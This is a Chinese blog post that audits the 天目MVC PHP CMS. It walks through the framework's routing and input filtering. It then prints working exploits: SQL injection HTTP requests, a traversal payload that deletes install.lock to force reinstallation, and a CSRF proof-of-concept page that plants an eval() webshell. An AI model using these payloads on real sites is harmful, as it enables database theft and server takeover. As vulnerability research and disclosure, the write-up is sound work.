通读审计之天目MVC

2020-07-17 10:47:29 20 8370 9


0x00 前言
天目MVC是天目网络科技有限公司开发的一款专业的PHP+MYSQL产品,采用自主MVC构架。
我们今天所通读的CMS为天目MVC,从了解框架运行原理到漏洞挖掘。
源码下载地址:https://www.a5xiazai.com/php/141613.html
官网下载渠道:

因为本篇文章涉及到前台漏洞,笔者已将漏洞信息提交给官网,官网已经更新并将漏洞修补。

(笔者已发表到FreeBuf:https://www.freebuf.com/vuls/243137.html
0x01 MVC的了解
我们看一下index.php的整个结构

Woo,定义了这么多的常量,我们先不着急看每个常量是什么,目光到25行的require 'temmoku'.DS.'run.php';
包含了'temmoku'.DS.'run.php',其中DS在index.php中的第16行所定义,值为目录中的斜杠(\)。
那么我们跟进run.php文件看一下到底是怎么玩儿的

哇,看到这么多define肯定会问笔者,这么多的常量我要一个一个记住吗?这样岂不是很麻烦。
答案是不需要每个都记录一下的,常量是不会变化的量,整个程序的运行中定义一次就不能修改。我们通过这一点,结合PHP给出的常量查询函数,在程序运行中的末尾全部提取。这里贴出代码:
foreach(get_defined_constants(true)['user'] as $k=>$v){
        echo $k.'---'.$v."\r\n";
}
将它放在index.php的末尾。通过源代码查看这些常量,然后复制到我们一个记事本中,审计中需要用到时,我们再进行查询。
如图:

这样我们就可以不在常量方面浪费很多时间,当然了,常量可能根据外部参数而变化,也就是说,我们这样定义:define(‘XXX’,$_GET[‘XXX’]),也是需要注意一下的,以免后期审计蒙圈。
好,关于常量我们是不需要再看多少了,下面我们回到run.php文件中,继续通读。

可以看到包含了Temmoku.’functions.php’文件,这个时候我们的小记事本就有它的用途了,我们在记事本中进行搜索。

这样的话也就是包含了  D:\phpstudy_pro\WWW\temmoku\temmoku\functions.php 文件,我们打开temmoku/functions.php文件进行读取。

可以清晰的看到functions.php文件中定义了超多函数,除此之外我们要注意的是functions.php文件中到底是不是只定义了一些公共方法,有没有写其他的语句。这里笔者大致浏览了一下只是定义了许多的方法,所以我们回到run.php再次进行通读。

包含temmoku/app.php文件,我们打开看一下。

在run.php文件的末尾有调用新包含进来的app类的run方法,我们看到spl_autoload_register时一定需要注意,因为该函数是用来自动包含文件用的,用来加载出实例化不到的类。它对我们的代码审计起着重要的作用。
我们来读一下Load_Class静态方法中到底是怎么玩儿的。

第82行中调用了str_caps_look方法,这也就是我们之前包含进来的functions.php文件中所定义的方法,但是str_caps_look方法中第一个参数将”\”替换为了”/”是为什么呢?到这里我们需要引发一些猜想,因为PHP中的命名空间使用”\”进行分命名,所以它这里将”\”替换为了”/”也许是为了后期的路径问题。
我们搜索一下str_caps_look方法看一下它是如何定义的。

我们第二个参数传进来的是”1”,该函数的功能对于我们现在的情况来说暂时只是将第一个参数中的大写转换为小写了。我们回到app.php文件中继续进行通读。

这里我们简单明了的就知道$_class变量中存放的内容了。

到现在我们可以知道传递进来的类名会这样进行包含:./$class.php以及./app/$class.php
了解完毕后我们回到run.php文件的第17行继续通读。

我们清楚的看到setReporting方法进行了一些报错之后等的处理,这一点对于我们后期的报错注入有很大的联系。
我们再次看到第19行调用了default_config类,我们简单了解一下。

文件的第104-114行处理了一些高速缓冲,而118-120中两次调用了Load_conf方法,我们从functions.php文件中进行查找。

我们从图中的代码处理逻辑了解到该函数用于包含整个文件夹的。而下面的is_file分支中直接进行了包含文件,C方法我们待会再去了解。
而程序中包含整个app/conf文件夹,如图:

下面我们在app/conf文件夹中创建1.php文件,内容为<?php phpinfo();?>看是否逻辑正确。

看来逻辑是没有任何问题,我们继续在app.php文件往下通读。

126行包含了version.php,笔者这里简单查看只是返回了该cms版本信息,而127行调用C方法,我们从functions.php看一下C方法中到底是怎么玩的。

通过C函数的阅读,我们了解到该方法保存了一些程序变量,而这些变量和常量一样,多且杂乱,对我们代码审计不太友好,下面分享一下笔者遇到这种情况会怎么做。
我们在C方法中额外增加一个形式参数,然后在index.php中文件末尾调用。如图:

在C方法末尾添加形式参数变量后,再从index.php末尾进行调用。

随后我们再次将这个非常大的数组保存到我们的记事本中,以方便后期使用。

App.php中第127行与129行调用了onlineip方法,我们从functions.php中看一下。

这里HTTP_CLIENT_IP没有经过任何过滤与程序验证,直接返回,这里就可能会造成XFF头漏洞。
OK,我们了解完毕之后继续往下读取。

这里直接进行实例化ruote对象,随后进入Load_Class定义的加载对象方法,我们之前所了解的Load_Class方法有这样一个规则。包含./$class.php或./app/$class.php,传入到这里应该包含的文件名为:./temmoku/ruote.php或./app/temmoku/ruote.php,我们看一下app目录中确实不存在temmoku文件夹,那么我们看一下./temmoku/ruote.php是否存在。

OK,那么我们打开ruote.php文件看一下。

当new一个对象时,会进入到__construct魔术方法,那么它的第17-18行是用来加载配置到$_config静态数组,我们看一下记事本中是否存在,以查看我们的逻辑是否正确。

OK,逻辑正确我们接着往下读取。

我们知道$_SERVER[‘PATH_INFO’]一般用于MVC静态化的一种访问方式,这里提供了另一种$_GET[‘temmoku_dirs’]的访问方式,现在到了我们路由点,接着往下读取。

第29-42行用来检查PATH_INFO,这里对我们代码审计没有太高的要求,我们读取43-54行,这里将PATH_INFO进行分隔以及过滤空格。使访问的路由更规范化。

可以看到RUOTE默认未开启,所以我们第57行的if分支可以暂时不看,下面的80-87行用来过滤.html等字符串来完成伪静态。
好,我们接着往下读取。

这里可以看到$_SERVER[PATH_INFO]的第一个传参就是模块了,第92行将$_SERVER[PATH_INFO]分隔为两个数组,第93行获取到第一个参数,第96-113检测网站是否安装的同时对模块进行验证,判断传入的模块$_config数组中MODULE_RUOTE是否存在,存在则定义MODULE常量为$test_module。
第127-130行如果不存在MODULE常量默认定义为home,让用户访问到home模块。

终于到了我们的关键时刻,137-139行定义三个外部传递过来的m,c,a,终于定位到控制module(模块)controller(控制器) action(方法)了,admin模块有特例处理,我们放在这里先不管。152-155以及157-161行都是进行包含模块下的function.php文件以及ruote.php文件,但是我们不能高兴的太早,136行中if判断是否存在C(‘URL_RULES’);我们奇怪的发现并没有!

但是没关系,我们保持良好心态继续往下通读。

果然,山重水复疑无路,柳暗花明又一村。下面对PATH_INFO进行分隔,分别当作控制器与方法,如果不存在则默认都为Index。
到这里我们都会认为ruote.php文件通读完毕,但是这里有一个小坑。它是析构方法。

不然呢,我们都以为这整个框架没有过滤处理,但其实在__destruct中进行过滤了,过滤函数为filtering,可以看到把$_GET、$_POST、$_COOKIE、$_SESSION、$_SERVER统统进行了过滤。
我们从functions.php文件中看一下filtering是如何定义的。

将外部传进来的key值为:'id','aid','cid','uid','mid','cmid','iid','nid','cityid','proviceid','countyid','townid','upcid','state','reply_id','lid'全部做intval处理,而key值不属于他们则做htmlspecialchars($content,ENT_QUOTES);处理,从第一眼来看,一拳击败SQL注入以及XSS漏洞,过滤还是比较严格的,但是我们发现一个问题ENT_QUOTES作为htmlspecialchars的第二个参数,将标签以及双引号、单引号进行HTML实体化,但是并不会对反斜杠进行转义。如图:

反斜杠\没有被转义,这样在SQL语句中我们可以通过\来对SQL语句进行打乱。前提是有两个可控点。
例如:SELECT * FROM XXX WHERE A=’1’ AND B=’2’
在A中插入反斜杠在B中插入攻击语句,SQL语句变为SELECT * FROM XXX WHERE A=’1\’ AND B=’ or updatexml(1,concat(1,user(),1),1) -- ’
也可以进行SQL注入,第二种情况则是有一个可控点,但是没有被单引号包裹。
并且可控点A以及可控点B如果是由外部传递,都不可以键值为:'id','aid','cid','uid','mid','cmid','iid','nid','cityid','proviceid','countyid','townid','upcid','state','reply_id','lid'
好了,了解完过滤部分后继续往下通读代码。

因为PHP默认关掉此拓展,所以我们一带而过。
终于将ruote.php读完了,我们回到app.php中继续通读。

App.php文件第21行用于日志处理,默认为0,我们也暂时不看。继续往下读取。

第69行已经告知我们如何定位到某个模块,某个控制器,某个方法了。
我们可以清晰的知道网站如何运行。下面是规划的两种模块/控制器/方法访问规则
一:http://www.temmoku.com/模块名/控制器/方法 所对应的文件路径为 ./app/模块名/controller/控制器.php
所对应的方法则是传递过来的方法。
二:http://www.temmoku.com/?temmoku_dirs=模块名/控制器名/方法名 所对应的文件路径为 ./app/模块名/controller/控制器.php
所对应的方法则是传递过来的方法。

下面我们在app/user/controller/文件夹下创建我们自己的控制器,来看是否可以正常访问到我们定义的自定义方法。

创建heihu.php,文件内容为
<?php
namespace user\controller;
class heihu{
        public function index(){
                echo 'Ok~';
        }
}
访问URL:http://www.temmoku.com/?temmoku_dirs=user/heihu/index
运行结果:

整个框架思路清晰,我们开始挖掘漏洞。
0x02 SQL注入的摸索
我们在了解框架时知道,全局进行了htmlspecialchars过滤,并且我们知道有两种存在SQL注入的情况,第一种情况:有两个可控点、第二种情况:有一个可控点,并且没有被引号包裹。这两种情况发送的请求Key都不能为
'id','aid','cid','uid','mid','cmid','iid','nid','cityid','proviceid','countyid','townid','upcid','state','reply_id','lid'
我们通过Notepad++的全局搜索功能,搜索“' AND ”来看一下

笔者在这里并没有找到可利用的点,接着我们查找“' OR ”

也没有给出我们想要的结果。
0x03 后台SQL注入漏洞
在0x02中我们的猜想没有成功,这个时候我们可以通过Seay源代码审计系统来进行漏洞查找。但笔者并没有使用工具。
通过笔者以往的审计经验,存在SQL注入大多情况下会在Mysql中的WHERE语句中的in关键字,我们通过Notepad++来全局查找一下“in (”

我们可以看到$_POST[uiddb]中,uiddb并不在过滤范围,所以这里有可能会造成SQL注入漏洞。
这里使用了db类,笔者简单观看了一下,开发者写出的db类类似于TP框架中的db类。
这里构造HTTP包
POST /?temmoku_dirs=admin/user/state HTTP/1.1
Host: [url]www.temmoku.com[/url]
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
cookie:管理员的COOKIE信息

uiddb[]=1&uiddb[]=2) and sleep(5) --
运行结果:

后台存在一处SQL盲注漏洞,可是我们并不喜欢后台怎么办?(/坏坏的笑)
0x04 前台SQL注入漏洞(一)
我们紧接着上一次的“in (”关键字查询结果,来往下翻一翻是否存在前台漏洞。
我们寻寻觅觅看到user模块中comment控制器的del方法存在in关键字

我们看到进行检测$_config数组中下标为comment_del的值,这个时候我们需要进入后台设置一下:1. 开启站点注册用户功能 2. 允许站点用户删除自己的评论

首先安装两个插件,然后进入home设置

设置允许删除自己的评论
然后我们构造HTTP请求包
POST /?temmoku_dirs=user/comment/del HTTP/1.1
Host: [url]www.temmoku.com[/url]
Content-Type: application/x-www-form-urlencoded
Cookie:普通用户的COOKIE
Content-Length: 64

iddb[]=1212&iddb[]=1212) UNION SELECT 1,2,3,4,sleep(5),6,7,8 --
请求结果:

0x04 前台SQL注入漏洞(二)
但是后台默认关闭”是否允许删除自己的评论”配置项,我们肯定不高兴的,怎么办呢?继续往下翻!
我们寻寻觅觅找到了第二个注入点,如图:

该注入点无需开启”是否允许删除自己的评论”配置项,我们现在从后台将它关闭。

构造HTTP请求包:
POST /?temmoku_dirs=user/sms/del HTTP/1.1
Host: [url]www.temmoku.com[/url]
Content-Type: application/x-www-form-urlencoded
Connection: close
Cookie:普通用户的COOKIE
Content-Length: 53

iddb[]=11111) UNION SELECT 1,2,sleep(3),4,5,6,7,8 --
请求结果:

0x06 前台任意文件删除漏洞(可重装整站)
我们从了解框架整个结构时,发现检查验证是通过判断app/conf/install.lock来使网站是否安装的,如果存在任意文件删除漏洞,那么攻击者即可直接将目标点网站重装。
而删除文件的函数为unlink()函数,我们全局搜索一下,看一下前台哪些地方调用了unlink函数。

我们看到该成员方法有形式参数,那么我们在本类看一下哪里调用了img_move方法

直接将$_POST['idcard_zheng']传入进来,下面我们回来img_move方法看一下程序有没有做过滤之类的。

使用strpos以及stristr进行验证是否在tmp目录下,strpos函数返回字符串的位置,stristr返回/tmp的剩余部分,我们可以这样构造进行绕过:idcard_zheng=tmp/../../app/conf/install.lock
构造HTTP请求包:
POST /?temmoku_dirs=user/renzheng/index&type=idcard HTTP/1.1
Host: [url]www.temmoku.com[/url]
Content-Type: application/x-www-form-urlencoded
Cookie:用户的COOKIE
Connection: close
Content-Length: 48

step=post&_type=1&idcard_zheng=tmp/../../app/conf/install.lock
运行结果:

再次请求index.php

成功进入安装向导
0x07 双引号解析漏洞导致的后台GETSHELL
我们之前了解MVC框架时,有了解到/app/conf/文件夹下的所有内容都会被包含,笔者在这里简单翻了翻看到./app/conf/setting.php文件中以双引号保存值

这些配置可以从后台进行配置。
在?temmoku_dirs=/admin/setting/article中我们可以看到配置项。

我们将它改为attachment${@phpinfo()},如图:

Phpinfo:

Phpinfo成功被双引号所解析。
0x08 CSRF钓鱼管理员直接GETSHELL
因为双引号解析漏洞在后台,同时只需要一个简单带有管理员COOKIE的HTTP请求就可以完成攻击演练。我们当然不想让它这么鸡肋的活着,同时我们在了解框架时,整个框架没有对CSRF进行防护。那么我们可以由此漏洞搭配CSRF来使漏洞更加易于利用。
笔者编写了如下POC进行测试:
<?php
$url = 'http://192.168.1.6/';
?>
<!DOCTYPE html>
<html>
<head>
        <title></title>
</head>
<body>
        <form action="<?php echo $url;?>/index.php?temmoku_dirs=/admin/setting/article" method="post" id="form">
                <input type="hidden" name="web[articletimedir]" value="Y/m/d/">
                <input type="hidden" name="web[articledirclass]" value="1">
                <input type="hidden" name="web[function_m]" value="1">
                <input type="hidden" name="web[upfiles_catalog]" value="attachment${@eval($_POST[c])}">
                <input type="hidden" name="web[images_get_down]" value="1">
                <input type="hidden" name="web[content_del_link]" value="1">
                <input type="hidden" name="web[content_link_white_list]" value="">
                <input type="hidden" name="step" value="post">
        </form>
        <script type="text/javascript">
                var oForm = document.getElementById('form');
                oForm.submit();
                window.location = "<?php echo $url;?>";
        </script>
</body>
</html>
放置在攻击者的WEB服务器上,在第二行可以定义目标站点,然后构造URL使管理员点击。
当管理员在后台登录的状态下打开即可直接修改setting.php文件,将${@eval($_POST[c])写入文件中,攻击者可以连接index.php密码c进行管理webshell。
0x09 官网检测
代码审计完成后笔者发现官网就是使用的该系统,并开启了用户注册功能。联系上站长得到授权后笔者将漏洞详情写到本篇文章中进行分享。(现官网已修复)

我们代码审计过程中有挖掘到只需要前台正常用户权限就可以进行SQL注入的漏洞。笔者在官网中发现开启DEBUG模式,我们进行报错注入,看一下是否可以注入user()函数的信息。

读取后台账户密码进入后台

进入后台后:

使用我们后台的getshell方法

Getshell:

0x10 其他GETSHELL点
白盒审计虽然比较系统化,但与黑盒进行搭配才可以达到最完美的效果。
比如我们在后台随便浏览一下,如图:

我们就可以非常轻松的访问每个功能模块,对其fuzz的同时再次进行代码审计,可以达到出乎意料的效率。
0x11 尾巴
老规矩,顶帖跟lz免费py!!!

自评TCV:4

关于作者

heihu57765篇文章678篇回复

评论20次

要评论?请先  登录  或  注册